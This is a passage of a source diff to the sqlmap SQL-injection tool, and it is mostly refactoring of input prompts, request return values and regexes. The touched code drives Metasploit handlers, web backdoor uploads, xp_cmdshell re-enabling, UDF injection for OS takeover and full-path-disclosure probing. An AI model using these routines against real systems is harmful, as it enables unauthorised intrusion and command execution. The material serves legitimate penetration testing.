+                token = extractRegexResult(r"(?i)<input[^>]+\bvalue=(?P<result>(\"([^\"]+)|'([^']+)|([^ >]+)))[^>]+\bname=[\"']?%s[\"']?" % re.escape(conf.csrfToken), page or "")
+
+                if not token:
+                    match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
+                    token = match.group(1) if match else None

            if not token:
                if conf.csrfUrl != conf.url and code == httplib.OK:
@@ -945,6 +979,8 @@ class Connect(object):
                    raise SqlmapTokenException, errMsg

            if token:
+                token = token.strip("'\"")
+
                for place in (PLACE.GET, PLACE.POST):
                    if place in conf.parameters:
                        if place == PLACE.GET and get:
@@ -1012,16 +1048,19 @@ class Connect(object):
                try:
                    compiler.parse(unicodeencode(conf.evalCode.replace(';', '\n')))
                except SyntaxError, ex:
-                    original = replacement = ex.text.strip()
-                    for _ in re.findall(r"[A-Za-z_]+", original)[::-1]:
-                        if _ in keywords:
-                            replacement = replacement.replace(_, "%s%s" % (_, EVALCODE_KEYWORD_SUFFIX))
+                    if ex.text:
+                        original = replacement = ex.text.strip()
+                        for _ in re.findall(r"[A-Za-z_]+", original)[::-1]:
+                            if _ in keywords:
+                                replacement = replacement.replace(_, "%s%s" % (_, EVALCODE_KEYWORD_SUFFIX))
+                                break
+                        if original == replacement:
+                            conf.evalCode = conf.evalCode.replace(EVALCODE_KEYWORD_SUFFIX, "")
                            break
-                    if original == replacement:
-                        conf.evalCode = conf.evalCode.replace(EVALCODE_KEYWORD_SUFFIX, "")
-                        break
+                        else:
+                            conf.evalCode = conf.evalCode.replace(getUnicode(ex.text.strip(), UNICODE_ENCODING), replacement)
                    else:
-                        conf.evalCode = conf.evalCode.replace(ex.text.strip(), replacement)
+                        break
                else:
                    break

@@ -1040,25 +1079,39 @@ class Connect(object):
                if name != "__builtins__" and originals.get(name, "") != value:
                    if isinstance(value, (basestring, int)):
                        found = False
-                        value = getUnicode(value)
+                        value = getUnicode(value, UNICODE_ENCODING)
+
+                        if kb.postHint and re.search(r"\b%s\b" % re.escape(name), post or ""):
+                            if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP):
+                                if re.search(r"<%s\b" % re.escape(name), post):
+                                    found = True
+                                    post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
+                                elif re.search(r"\b%s>" % re.escape(name), post):
+                                    found = True
+                                    post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
+
+                            regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name)
+                            if not found and re.search(regex, (post or "")):
+                                found = True
+                                post = re.sub(regex, "\g<1>\g<2>%s" % value.replace('\\', r'\\'), post)

                        regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter))
+                        if not found and re.search(regex, (post or "")):
+                            found = True
+                            post = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
+
                        if re.search(regex, (get or "")):
                            found = True
-                            get = re.sub(regex, "\g<1>%s\g<3>" % value, get)
-
-                        if re.search(regex, (post or "")):
-                            found = True
-                            post = re.sub(regex, "\g<1>%s\g<3>" % value, post)
+                            get = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), get)

                        if re.search(regex, (query or "")):
                            found = True
-                            uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value, uri)
+                            uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)

                        regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
                        if re.search(regex, (cookie or "")):
                            found = True
-                            cookie = re.sub(regex, "\g<1>%s\g<3>" % value, cookie)
+                            cookie = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)

                        if not found:
                            if post is not None:
@@ -1077,7 +1130,7 @@ class Connect(object):
            elif kb.postUrlEncode:
                post = urlencode(post, spaceplus=kb.postSpaceToPlus)

-        if timeBasedCompare:
+        if timeBasedCompare and not conf.disableStats:
            if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES:
                clearConsoleLine()

@@ -1187,7 +1240,7 @@ class Connect(object):
        kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None

        if content or response:
-            return page, headers
+            return page, headers, code

        if getRatioValue:
            return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength)
@@ -42,6 +42,7 @@ from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.exception import SqlmapUserQuitException
+from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS
 from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
 from lib.core.settings import SQL_SCALAR_REGEX
 from lib.core.threads import getCurrentThreadData
@@ -208,22 +209,22 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
                            message += "entries do you want to retrieve?\n"
                            message += "[a] All (default)\n[#] Specific number\n"
                            message += "[q] Quit"
-                            test = readInput(message, default="a")
+                            choice = readInput(message, default='A').upper()

-                            if not test or test[0] in ("a", "A"):
+                            if choice == 'A':
                                stopLimit = count

-                            elif test[0] in ("q", "Q"):
+                            elif choice == 'Q':
                                raise SqlmapUserQuitException

-                            elif test.isdigit() and int(test) > 0 and int(test) <= count:
-                                stopLimit = int(test)
+                            elif choice.isdigit() and int(choice) > 0 and int(choice) <= count:
+                                stopLimit = int(choice)

                                infoMsg = "sqlmap is now going to retrieve the "
                                infoMsg += "first %d query output entries" % stopLimit
                                logger.info(infoMsg)

-                            elif test[0] in ("#", "s", "S"):
+                            elif choice in ('#', 'S'):
                                message = "how many? "
                                stopLimit = readInput(message, default="10")

@@ -345,6 +346,9 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
    kb.safeCharEncode = safeCharEncode
    kb.resumeValues = resumeValue

+    for keyword in GET_VALUE_UPPERCASE_KEYWORDS:
+        expression = re.sub("(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression)
+
    if suppressOutput is not None:
        pushValue(getCurrentThreadData().disableStdOut)
        getCurrentThreadData().disableStdOut = suppressOutput
@@ -356,7 +360,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
        if expected == EXPECTED.BOOL:
            forgeCaseExpression = booleanExpression = expression

-            if expression.upper().startswith("SELECT "):
+            if expression.startswith("SELECT "):
                booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1")
            else:
                forgeCaseExpression = agent.forgeCaseStatement(expression)
@@ -414,7 +418,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

                if found and conf.dnsDomain:
-                    _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items())))
+                    _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items())))
                    warnMsg = "option '--dns-domain' will be ignored "
                    warnMsg += "as faster techniques are usable "
                    warnMsg += "(%s) " % _
@@ -5,6 +5,8 @@ Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

+import re
+import time
 import types
 import urllib2
 import urlparse
@@ -49,18 +51,16 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
            if kb.redirectChoice is None:
                msg = "sqlmap got a %d redirect to " % redcode
                msg += "'%s'. Do you want to follow? [Y/n] " % redurl
-                choice = readInput(msg, default="Y")

-                kb.redirectChoice = choice.upper()
+                kb.redirectChoice = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO

            if kb.redirectChoice == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None:
                msg = "redirect is a result of a "
                msg += "POST request. Do you want to "
                msg += "resend original POST data to a new "
                msg += "location? [%s] " % ("Y/n" if not kb.originalPage else "y/N")
-                choice = readInput(msg, default=("Y" if not kb.originalPage else "N"))

-                kb.resendPostOnRedirect = choice.upper() == 'Y'
+                kb.resendPostOnRedirect = readInput(msg, default=('Y' if not kb.originalPage else 'N'), boolean=True)

            if kb.resendPostOnRedirect:
                self.redirect_request = self._redirect_request
@@ -70,6 +70,7 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
        return urllib2.Request(newurl, data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host())

    def http_error_302(self, req, fp, code, msg, headers):
+        start = time.time()
        content = None
        redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None

@@ -93,18 +94,18 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
        threadData.lastRedirectMsg = (threadData.lastRequestUID, content)

        redirectMsg = "HTTP redirect "
-        redirectMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, getUnicode(msg))
+        redirectMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, getUnicode(msg))

        if headers:
-            logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in headers.items())
+            logHeaders = "\r\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in headers.items())
        else:
            logHeaders = ""

        redirectMsg += logHeaders
        if content:
-            redirectMsg += "\n\n%s" % getUnicode(content[:MAX_CONNECTION_CHUNK_SIZE])
+            redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_CHUNK_SIZE])

-        logHTTPTraffic(threadData.lastRequestMsg, redirectMsg)
+        logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time())
        logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg)

        if redurl:
@@ -123,7 +124,12 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):

            req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl)
            if headers and HTTP_HEADER.SET_COOKIE in headers:
-                req.headers[HTTP_HEADER.COOKIE] = headers[HTTP_HEADER.SET_COOKIE].split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)[0]
+                delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
+                _ = headers[HTTP_HEADER.SET_COOKIE].split(delimiter)[0]
+                if HTTP_HEADER.COOKIE not in req.headers:
+                    req.headers[HTTP_HEADER.COOKIE] = _
+                else:
+                    req.headers[HTTP_HEADER.COOKIE] = re.sub("%s{2,}" % delimiter, delimiter, ("%s%s%s" % (re.sub(r"\b%s=[^%s]*%s?" % (re.escape(_.split('=')[0]), delimiter, delimiter), "", req.headers[HTTP_HEADER.COOKIE]), delimiter, _)).strip(delimiter))
            try:
                result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
            except urllib2.HTTPError, e:
@@ -13,7 +13,7 @@ def getPageTemplate(payload, place):

    if payload and place:
        if (payload, place) not in kb.pageTemplates:
-            page, _ = Request.queryPage(payload, place, content=True, raise404=False)
+            page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)
            kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None)

        retVal = kb.pageTemplates[(payload, place)]
@@ -75,17 +75,17 @@ class Abstraction(Web, UDF, XP_cmdshell):
        return safechardecode(retVal)

    def runCmd(self, cmd):
-        getOutput = None
+        choice = None

        if not self.alwaysRetrieveCmdOutput:
            message = "do you want to retrieve the command standard "
            message += "output? [Y/n/a] "
-            getOutput = readInput(message, default="Y")
+            choice = readInput(message, default='Y').upper()

-            if getOutput in ("a", "A"):
+            if choice == 'A':
                self.alwaysRetrieveCmdOutput = True

-        if not getOutput or getOutput in ("y", "Y") or self.alwaysRetrieveCmdOutput:
+        if choice == 'Y' or self.alwaysRetrieveCmdOutput:
            output = self.evalCmd(cmd)

            if output:
@@ -166,9 +166,8 @@ class Abstraction(Web, UDF, XP_cmdshell):
            msg += "statements as another DBMS user since you provided the "
            msg += "option '--dbms-creds'. If you are DBA, you can enable it. "
            msg += "Do you want to enable it? [Y/n] "
-            choice = readInput(msg, default="Y")

-            if not choice or choice in ("y", "Y"):
+            if readInput(msg, default='Y', boolean=True):
                expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1")
                inject.goStacked(expression)

@@ -190,7 +189,7 @@ class Abstraction(Web, UDF, XP_cmdshell):

            if mandatory and not self.isDba():
                warnMsg = "functionality requested probably does not work because "
-                warnMsg += "the curent session user is not a database administrator"
+                warnMsg += "the current session user is not a database administrator"

                if not conf.dbmsCred and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
                    warnMsg += ". You can try to use option '--dbms-cred' "
@@ -351,7 +351,7 @@ class Metasploit:

            self._cliCmd += " E"
        else:
-            self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
+            self._cliCmd = "%s -L -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
            self._cliCmd += "; set EXITFUNC %s" % exitfunc
            self._cliCmd += "; set LPORT %s" % self.portStr

@@ -601,6 +601,8 @@ class Metasploit:

            except (EOFError, IOError, select.error):
                return proc.returncode
+            except KeyboardInterrupt:
+                pass

    def createMsfShellcode(self, exitfunc, format, extra, encode):
        infoMsg = "creating Metasploit Framework multi-stage shellcode "
@@ -620,7 +622,7 @@ class Metasploit:
        pollProcess(process)
        payloadStderr = process.communicate()[1]

-        match = re.search("(Total size:|Length:|succeeded with size) ([\d]+)", payloadStderr)
+        match = re.search("(Total size:|Length:|succeeded with size|Final size of exe file:) ([\d]+)", payloadStderr)

        if match:
            payloadSize = int(match.group(2))
@@ -42,12 +42,8 @@ class UDF:
    def _askOverwriteUdf(self, udf):
        message = "UDF '%s' already exists, do you " % udf
        message += "want to overwrite it? [y/N] "
-        output = readInput(message, default="N")

-        if output and output[0] in ("y", "Y"):
-            return True
-        else:
-            return False
+        return readInput(message, default='N', boolean=True)

    def _checkExistUdf(self, udf):
        logger.info("checking if UDF '%s' already exist" % udf)
@@ -158,9 +154,8 @@ class UDF:

                message = "do you want to proceed anyway? Beware that the "
                message += "operating system takeover will fail [y/N] "
-                choice = readInput(message, default="N")

-                if choice and choice.lower() == "y":
+                if readInput(message, default='N', boolean=True):
                    written = True
                else:
                    return False
@@ -200,7 +195,7 @@ class UDF:

        if not self.isDba():
            warnMsg = "functionality requested probably does not work because "
-            warnMsg += "the curent session user is not a database administrator"
+            warnMsg += "the current session user is not a database administrator"
            logger.warn(warnMsg)

        if not conf.shLib:
@@ -241,9 +236,9 @@ class UDF:
        msg += "from the shared library? "

        while True:
-            udfCount = readInput(msg, default=1)
+            udfCount = readInput(msg, default='1')

-            if isinstance(udfCount, basestring) and udfCount.isdigit():
+            if udfCount.isdigit():
                udfCount = int(udfCount)

                if udfCount <= 0:
@@ -251,10 +246,6 @@ class UDF:
                    return
                else:
                    break
-
-            elif isinstance(udfCount, int):
-                break
-
            else:
                logger.warn("invalid value, only digits are allowed")

@@ -276,20 +267,16 @@ class UDF:

            self.udfs[udfName]["input"] = []

-            default = 1
            msg = "how many input parameters takes UDF "
-            msg += "'%s'? (default: %d) " % (udfName, default)
+            msg += "'%s'? (default: 1) " % udfName

            while True:
-                parCount = readInput(msg, default=default)
+                parCount = readInput(msg, default='1')

-                if isinstance(parCount, basestring) and parCount.isdigit() and int(parCount) >= 0:
+                if parCount.isdigit() and int(parCount) >= 0:
                    parCount = int(parCount)
                    break

-                elif isinstance(parCount, int):
-                    break
-
                else:
                    logger.warn("invalid value, only digits >= 0 are allowed")

@@ -298,9 +285,9 @@ class UDF:
                msg += "number %d? (default: %s) " % ((y + 1), defaultType)

                while True:
-                    parType = readInput(msg, default=defaultType)
+                    parType = readInput(msg, default=defaultType).strip()

-                    if isinstance(parType, basestring) and parType.isdigit():
+                    if parType.isdigit():
                        logger.warn("you need to specify the data-type of the parameter")

                    else:
@@ -327,12 +314,12 @@ class UDF:

        msg = "do you want to call your injected user-defined "
        msg += "functions now? [Y/n/q] "
-        choice = readInput(msg, default="Y")
+        choice = readInput(msg, default='Y').upper()

-        if choice[0] in ("n", "N"):
+        if choice == 'N':
            self.cleanup(udfDict=self.udfs)
            return
-        elif choice[0] in ("q", "Q"):
+        elif choice == 'Q':
            self.cleanup(udfDict=self.udfs)
            raise SqlmapUserQuitException

@@ -347,9 +334,9 @@ class UDF:
            msg += "\n[q] Quit"

            while True:
-                choice = readInput(msg)
+                choice = readInput(msg).upper()

-                if choice and choice[0] in ("q", "Q"):
+                if choice == 'Q':
                    break
                elif isinstance(choice, basestring) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
                    choice = int(choice)
@@ -390,9 +377,8 @@ class UDF:
            cmd = cmd[:-1]
            msg = "do you want to retrieve the return value of the "
            msg += "UDF? [Y/n] "
-            choice = readInput(msg, default="Y")

-            if choice[0] in ("y", "Y"):
+            if readInput(msg, default='Y', boolean=True):
                output = self.udfEvalCmd(cmd, udfName=udfToCall)

                if output:
@@ -403,9 +389,8 @@ class UDF:
                self.udfExecCmd(cmd, udfName=udfToCall, silent=True)

            msg = "do you want to call this or another injected UDF? [Y/n] "
-            choice = readInput(msg, default="Y")

-            if choice[0] not in ("y", "Y"):
+            if not readInput(msg, default='Y', boolean=True):
                break

        self.cleanup(udfDict=self.udfs)
@@ -26,6 +26,7 @@ from lib.core.common import ntToPosixSlashes
 from lib.core.common import isTechniqueAvailable
 from lib.core.common import isWindowsDriveLetterPath
 from lib.core.common import normalizePath
+from lib.core.common import parseFilePaths
 from lib.core.common import posixToNtSlashes
 from lib.core.common import randomInt
 from lib.core.common import randomStr
@@ -38,8 +39,10 @@ from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.enums import DBMS
+from lib.core.enums import HTTP_HEADER
 from lib.core.enums import OS
 from lib.core.enums import PAYLOAD
+from lib.core.enums import PLACE
 from lib.core.enums import WEB_API
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
@@ -196,6 +199,59 @@ class Web:
                self.webApi = choices[int(choice) - 1]
                break

+        if not kb.absFilePaths:
+            message = "do you want sqlmap to further try to "
+            message += "provoke the full path disclosure? [Y/n] "
+
+            if readInput(message, default='Y', boolean=True):
+                headers = {}
+                been = set([conf.url])
+
+                for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
+                    url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
+                    if url not in been:
+                        try:
+                            page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
+                            parseFilePaths(page)
+                        except:
+                            pass
+                        finally:
+                            been.add(url)
+
+                url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
+                if url not in been:
+                    try:
+                        page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
+                        parseFilePaths(page)
+                    except:
+                        pass
+                    finally:
+                        been.add(url)
+
+                for place in (PLACE.GET, PLACE.POST):
+                    if place in conf.parameters:
+                        value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
+                        if "[]" in value:
+                            page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
+                            parseFilePaths(page)
+
+                cookie = None
+                if PLACE.COOKIE in conf.parameters:
+                    cookie = conf.parameters[PLACE.COOKIE]
+                elif headers and HTTP_HEADER.SET_COOKIE in headers:
+                    cookie = headers[HTTP_HEADER.SET_COOKIE]
+
+                if cookie:
+                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
+                    if value != cookie:
+                        page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
+                        parseFilePaths(page)
+
+                    value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
+                    if value != cookie:
+                        page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
+                        parseFilePaths(page)
+
        directories = list(arrayizeValue(getManualDirectories()))
        directories.extend(getAutoDirectories())
        directories = list(oset(directories))
@@ -314,7 +370,7 @@ class Web:

                _ = "tmpe%s.exe" % randomStr(lowercase=True)
                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
-                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
+                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
@@ -334,9 +390,8 @@ class Web:

                    message = "do you want to try the same method used "
                    message += "for the file stager? [Y/n] "
-                    getOutput = readInput(message, default="Y")

-                    if getOutput in ("y", "Y"):
+                    if readInput(message, default='Y', boolean=True):
                        self._webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue
@@ -255,9 +255,8 @@ class XP_cmdshell:
                message = "xp_cmdshell extended procedure does not seem to "
                message += "be available. Do you want sqlmap to try to "
                message += "re-enable it? [Y/n] "
-                choice = readInput(message, default="Y")

-                if not choice or choice in ("y", "Y"):
+                if readInput(message, default='Y', boolean=True):
                    self._xpCmdshellConfigure(1)

                    if self._xpCmdshellCheck():
@@ -97,7 +97,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
        # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
        if conf.predictOutput:
            kb.partRun = getPartRun()
-        elif hasattr(conf, "api"):
+        elif conf.api:
            kb.partRun = getPartRun(alias=False)
        else:
            kb.partRun = None
@@ -168,7 +168,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
            warnMsg += "usage of option '--threads' for faster data retrieval"
            singleTimeWarnMessage(warnMsg)

-        if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
+        if conf.verbose in (1, 2) and not showEta and not conf.api:
            if isinstance(length, int) and conf.threads > 1:
                dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
@@ -187,8 +187,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                else:
                    posValue = ord(hintValue[idx - 1])

-                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
-                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
+                forgedPayload = agent.extractPayload(payload)
+                forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
+                result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
@@ -492,7 +493,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                                if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
                                    output = output[:-2] + '..'

-                                if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
+                                if conf.verbose in (1, 2) and not showEta and not conf.api:
                                    _ = count - firstChar
                                    output += '_' * (min(length, conf.progressWidth) - len(output))
                                    status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length))
@@ -522,7 +523,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                finalValue = "".join(value)
                infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))

-            if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"):
+            if conf.verbose in (1, 2) and not showEta and infoMsg and not conf.api:
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
@@ -558,7 +559,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                        if result:
                            if showEta:
                                progress.progress(time.time() - charStart, len(commonValue))
-                            elif conf.verbose in (1, 2) or hasattr(conf, "api"):
+                            elif conf.verbose in (1, 2) or conf.api:
                                dataToStdout(filterControlChars(commonValue[index - 1:]))

                            finalValue = commonValue
@@ -608,7 +609,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None

                if showEta:
                    progress.progress(time.time() - charStart, index)
-                elif conf.verbose in (1, 2) or hasattr(conf, "api"):
+                elif conf.verbose in (1, 2) or conf.api:
                    dataToStdout(filterControlChars(val))

                # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
@@ -635,11 +636,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
        elif partialValue:
            hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))

-    if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"):
+    if conf.hexConvert and not abortedFlag and not conf.api:
        infoMsg = "\r[%s] [INFO] retrieved: %s  %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
        dataToStdout(infoMsg)
    else:
-        if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
+        if conf.verbose in (1, 2) and not showEta and not conf.api:
            dataToStdout("\n")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
@@ -1,8 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
-See the file 'doc/COPYING' for copying permission
-"""
-
-pass
@@ -28,6 +28,7 @@ from lib.core.common import isNumPosStrValue
 from lib.core.common import listToStrValue
 from lib.core.common import readInput
 from lib.core.common import unArrayizeValue
+from lib.core.common import wasLastResponseHTTPError
 from lib.core.convert import hexdecode
 from lib.core.convert import htmlunescape
 from lib.core.data import conf
@@ -97,8 +98,8 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
    if retVal is None or partialValue:
        try:
            while True:
-                check = r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
-                trimcheck = r"%s(?P<result>[^<\n]*)" % (kb.chars.start)
+                check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
+                trimcheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start

                if field:
                    nulledCastedField = agent.nullAndCastField(field)
@@ -120,7 +121,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
                payload = agent.payload(newValue=injExpression)

                # Perform the request
-                page, headers = Request.queryPage(payload, content=True, raise404=False)
+                page, headers, _ = Request.queryPage(payload, content=True, raise404=False)

                incrementCounter(kb.technique)

@@ -130,23 +131,19 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
                # Parse the returned page to get the exact error-based
                # SQL injection output
                output = reduce(lambda x, y: x if x is not None else y, (\
-                        extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
-                        extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
-                        if headers else None), re.DOTALL | re.IGNORECASE), \
-                        extractRegexResult(check, threadData.lastRedirectMsg[1] \
-                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
-                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
+                        extractRegexResult(check, page), \
+                        extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), \
+                        extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] if headers else None)), \
+                        extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), \
                        None)

                if output is not None:
                    output = getUnicode(output)
                else:
-                    trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
-                        or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
-                        if headers else None), re.DOTALL | re.IGNORECASE) \
-                        or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
-                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
-                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
+                    trimmed = extractRegexResult(trimcheck, page) \
+                        or extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) \
+                        or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] if headers else None)) \
